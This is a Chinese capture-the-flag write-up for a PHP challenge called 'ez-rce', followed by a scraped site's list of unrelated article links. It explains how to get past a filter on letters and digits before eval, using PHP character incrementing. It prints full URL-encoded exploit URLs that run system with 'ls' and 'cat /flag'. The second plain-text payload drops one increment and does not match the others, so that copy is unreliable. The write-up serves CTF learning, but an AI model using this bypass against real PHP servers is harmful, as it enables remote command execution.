当前位置: 首页 > news >正文

ez-rce

题目信息

  • 题目名称: ez-rce
  • 提示: 303跳转 你需要用bp抓包 参考RCE里的无字母数字

信息收集

通过抓包分析,在响应头中发现隐藏路径:

<!-- /s3cret/rce.php -->

访问该路径得到题目源码。

源码分析

<?php highlight_file(__FILE__); if (isset($_GET['shell'])) { $code = $_GET['shell']; if(!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)){ eval($code); } else{ die('hacker!!你想幹嘛!!!'); } }

代码功能分析:

  • 接收shell参数并执行eval()
  • 正则表达式过滤了所有字母数字和大部分特殊字符
  • 只允许部分字符通过,包括[]._;()+$

漏洞分析

  1. 过滤绕过原理

由于过滤了所有字母和数字,需要利用 PHP 的变量自增特性来构造可执行的代码。

PHP 变量自增原理:

$a = []._; // $a 为 "Array_" echo $a[0]; // 会输出:A $b = $a[0]; echo ++$b; // 会输出:B

因为数字也被过滤,变量名可以用下划线替代,数组索引也可以用下划线替代:

$_ = []._; echo $_[_]; // 输出:A
  1. 构造 Payload

目标构造:$_GET[_]($_GET[__])

通过变量自增逐步构造:

  1. $_=[]._得到 “Array_”
  2. $_=$_[_]得到 “A”
  3. 通过$_++自增得到 “B”、”C”、”D”、”E”
  4. 继续自增构造其他字母
  5. 最终拼接出 “_GET” 字符串

完整 payload:

$_=[]._;$_=$_[_];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=$___.$__.$_;$_='_'.$___;$$_[_]($$_[__]);
  1. URL 编码

由于中间件会解码一次,所以需要对 payload 进行 URL 全编码:

%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B

利用步骤

  1. 构造 Payload

使用变量自增构造出$_GET[_]($_GET[__])的等效代码:

$_=[]._;$_=$_[_];$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=$___.$__.$_;$_='_'.$___;$$_[_]($$_[__]);
  1. URL 全编码

对 payload 进行 URL 全编码,确保中间件解码后仍能正常执行:

%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B
  1. 执行命令

构造完整的 URL,通过shell参数传递 payload,并使用___参数传递要执行的函数和参数:

?shell=%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B&_=system&__=ls
  1. 获取 Flag

__参数替换为读取 flag 的命令:

?shell=%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B&_=system&__=cat%20/flag

原理详解

  1. PHP 变量自增机制

PHP 中字符串可以像数组一样访问索引,当对字符串进行自增操作时,PHP 会按照字母表顺序递增:

$a = "A"; $a++; // "B" $a++; // "C"
  1. 数组字符串化

当数组与字符串连接时,数组会被转换为字符串 “Array”:

$a = []; echo $a . "_"; // 输出 "Array_"
  1. 字符串索引访问

可以通过索引访问字符串中的字符:

$str = "Array_"; echo $str[0]; // 输出 "A"
  1. 下划线作为索引

由于数字被过滤,可以使用下划线作为数组索引,PHP 会将下划线转换为 0:

$_ = "Array_"; echo $_[_]; // 等同于 $_[0],输出 "A"

总结

本题利用了 PHP 的变量自增特性和字符串操作机制,在过滤所有字母数字的情况下,通过构造特殊字符的 payload 实现了代码执行。关键在于理解 PHP 中数组字符串化、字符串索引访问以及变量自增的工作原理,并通过 URL 全编码绕过中间件的解码机制。

关键点

  1. 通过抓包发现隐藏路径/s3cret/rce.php
  2. 利用 PHP 数组字符串化特性获取 “Array” 字符串
  3. 通过变量自增构造字母
  4. 使用下划线替代数字作为数组索引
  5. 拼接构造出_GET字符串
  6. 通过 URL 全编码绕过中间件解码
  7. 最终实现动态函数调用$_GET[_]($_GET[__])
http://www.jsqmd.com/news/449510/

相关文章:

  • [AI-Talk] OpenClaw如何实现直播评论
  • AI助教新实践:Nanbeige 4.1-3B实现自动化作业批改与反馈
  • 人工智能+AI的微信小程序的考研交流系统
  • nanobot效果展示:Qwen3-4B在Chainlit中解析图片URL、执行shell命令案例
  • CosyVoice-300M Lite应用分享:无障碍服务中的语音导航实现
  • 撤销工作表保护密码破解/工作簿密码破解,考勤表无法编辑?考勤表无法修改?有办法找回密码。
  • Qwen1.5-1.8B GPTQ一键部署体验:对比重装系统与镜像部署效率
  • 为什么有人连操作系统的基本知识都不懂?
  • 【UI自动化测试】1_TPshop项目实战 _项目介绍(重点)
  • 基于声波,超声波和振动传感器三位一体的多模态变电站出厂检测有市场吗?
  • 微信私域自动化
  • 万象熔炉 | Anything XL效果展示:多光源场景下阴影过渡与材质反射效果
  • 智慧物流已成标配:2026年主流AGV叉车厂家市场竞争力和行业格局全景解析 - 品牌推荐
  • 题解:CF2201B Recollect Numbers
  • 2026年制造业选型必看:AMR搬运机器人厂家适配指南与核心指标实测对比 - 品牌推荐
  • 小白也能搞定:ResNet18通用物体识别镜像一键部署指南
  • 基于声波,超声波和振动传感器三位一体的多模态变电站出厂检测市场前景
  • 基于 Qt 实现多客户端 TCP 通信聊天室
  • 全文搜索终极对决:Elasticsearch与Solr核心选型指南
  • 2026年AMR搬运机器人厂家权威榜单发布:五大品牌技术实力深度排位赛 - 品牌推荐
  • 阿里MGeo模型实战:10分钟学会地址匹配,告别人工比对
  • 2026年制造企业选型必看:AGV叉车厂家选购指南与四大核心能力实测 - 品牌推荐
  • 2026年AMR搬运机器人厂家深度测评:基于导航精度与交付效率的五维战力解析 - 品牌推荐
  • Gemini如何解决办公难题:从“工具”到“协作者”的认知升级
  • 用Wan2.2-T2V-A5B做教育动画:自动生成教学演示小片段
  • Qwen3-TTS-VoiceDesign开源镜像实操手册:免配置Docker化部署+Gradio Web快速体验
  • Linux I/O多路复用:深入浅出poll与epoll
  • StructBERT中文相似度模型保姆级教程:Sentence Transformers环境配置
  • 开发者一站式效率工具站,JSON 处理 + 开发调试全搞定
  • 性价比高的预制果茶包机构